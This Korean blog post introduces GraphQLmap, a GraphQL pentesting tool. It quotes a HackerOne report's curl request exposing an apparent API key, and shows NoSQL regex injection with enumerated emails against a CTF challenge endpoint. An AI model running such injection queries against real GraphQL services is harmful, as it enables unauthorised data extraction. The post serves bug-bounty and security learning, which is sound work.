GraphQLmap - testing graphql endpoint for pentesting & bugbounty

밤에 트윗보다보니 swissky가 툴 하나를 만들어서 배포했더군요. 심지어 GraphQL 관련 자동화도구라 바로 대충 정리해서 포스팅해봅니다. GraphQLmap 입니다.



아 swissky는 Payload All the Things을 만든.. 대단한 친구죠 :)

What is GraphQL?

GraphQL 은 페북에서 만든 Query Lang입니다. JSON 포맷으로 쿼리 데이터로 웹에 필요한 정보를 불러오는 전형적인 API 형태의 언어입니다.

Query
{
me {
name
}
}

Response
{
"me": {
"name": "Luke Skywalker"
}
}

솔직히 개발적인 부분에서의 이점은 좀 더 유연한 쿼리를 쓸 수 있다(?, 사용자가 그때그떄 입력한 필요한 정보에 따라 결과를 주니..) 정도인 것 같습니다. 물론 제가 개발자가 아니기 때문에 개발자분들의 의견은 다르겠지만요.

아무튼 서버에서 사용자 요청에 대해 처리 후 데이터를 내어주기 떄문에 서버에서 잘 설정한 경우 안전할 수도 있게지만, 해커원 보고서에 잘 올라오는걸 보면 그리 안전하게 사용되는 것 같진 않습니다.
(https://hackerone.com/hacktivity?order_direction=DESC&order_field=popular&filter=type%3Apublic&querystring=graphql)
국내에선 쓰이는 곳을 아직 많이 못보긴 헀는데, 해외 서비스 기준으론 굉장히 많이 쓰이고 있습니다. 해외 버그바운티에 관심 있으시다면 꼭 알아두시는게 좋을 것 같습니다.

자세한건 공식 튜토리얼 쭉 따라해보면 쉽습니다.
https://graphql.org/learn/

What is GraphQLmap?

음. sqlmap의 graphql 버전이라고 보시면 좋습니다. GraphQL에도 잘 나오는 취약점이 하나 있느데, 바로 의도하지 않은 쿼리 데이터로 타 사용자, 시스템 정보 등 중요정보를 획득할 수 있는 부분이 있습니다.
Shopify로 올라왔던 보고서를 하나 보면…
https://hackerone.com/reports/397130

Request
curl -i -s -k  -X $'POST' \
-H $'Host: athena-flex-production.shopifycloud.com' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/json' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Content-Length: 422' \
--data-binary $'{\"query\": \"query getRecentTicketsQuery($domain: String) {\\n shop(myshopifyDomain: $domain) {\\n zendesk {\\n tickets(last: 5) {\\n edges {\\n node {\\n id\\n requester {\\n name\\n }\\n subject\\n description\\n }\\n }\\n }\\n }\\n }\\n }\\n\",\"variables\":{\"domain\":\"ok.myshopify.com\"}}' \
$'https://athena-flex-pro

Response
R = n.n(O)()({
apiKey: "5c0246635b3c77189888c0b10d3427ac",
notifyReleaseStages: ["production"],
releaseStage: "production"
}),

이런식으로 getRecentTicketsQuery를 통해 shopify에서 사용하는 Zendesk의 api 키를 읽었습니다.
요런걸 조금 쉽게 찾기 위해서 사용해볼 수 있는 툴입니다.

주요 기능은 이렇습니다

Features :
  • Dump a GraphQL schema
  • Interact with a GraphQL endpoint
  • Execute GraphQL queries
  • Autocomplete queries
  • NoSQL injection inside a GraphQL field
  • SQL injection inside a GraphQL field
  • GraphQL field fuzzing

How to Install & Use ?

$ git clone https://github.com/swisskyrepo/GraphQLmap
python3 graphqlmap.py
_____ _ ____ _
/ ____| | | / __ \| |
| | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __
| | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \
| |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
\_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
| | | |
|_| |_|
Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]]

optional arguments:
-h, --help show this help message and exit
-u URL URL to query : example.com/graphql?query={}
-v [VERBOSITY] Enable verbosity


Test with GraphQLmap

1) Load test url
$ python3 graphqlmap.py -u "http://meetyourdoctor3.challs.malice.fr/graphql?query={}"

2) test query
GraphQLmap > {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine3GRAPHQL_INCREMENT_10@yahoo.com\"} }"){id, lastName, email}}                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine30@yahoo.com\"} }"){id, lastName, email}}
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine31@yahoo.com\"} }"){id, lastName, email}}
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine32@yahoo.com\"} }"){id, lastName, email}}
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine33@yahoo.com\"} }"){id, lastName, email}}
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine34@yahoo.com\"} }"){id, lastName, email}}
[+] Query: (222) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine35@yahoo.com\"} }"){id, lastName, email}}
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine36@yahoo.com\"} }"){id, lastName, email}}
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine37@yahoo.com\"} }"){id, lastName, email}}
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine38@yahoo.com\"} }"){id, lastName, email}}
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine39@yahoo.com\"} }"){id, lastName, email}}
GraphQLmap > {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine35@yahoo.com\"} }"){id, lastName, email}}
{
"data": {
"doctors": [
{
"email": "Maxine35@yahoo.com",
"id": "5d089c51dcab2d0032fdd082",
"lastName": "Christiansen"
}
]
}
}

결과를 보면 각 쿼리를 요청했을 때 Response 길이가 (45) 이런식으로 찍히는데, 이 부분을 보고 정보를 획득했는지 알 수 있습니다. 귀찮은 작업인데, 편리하게 쓰이겠군요!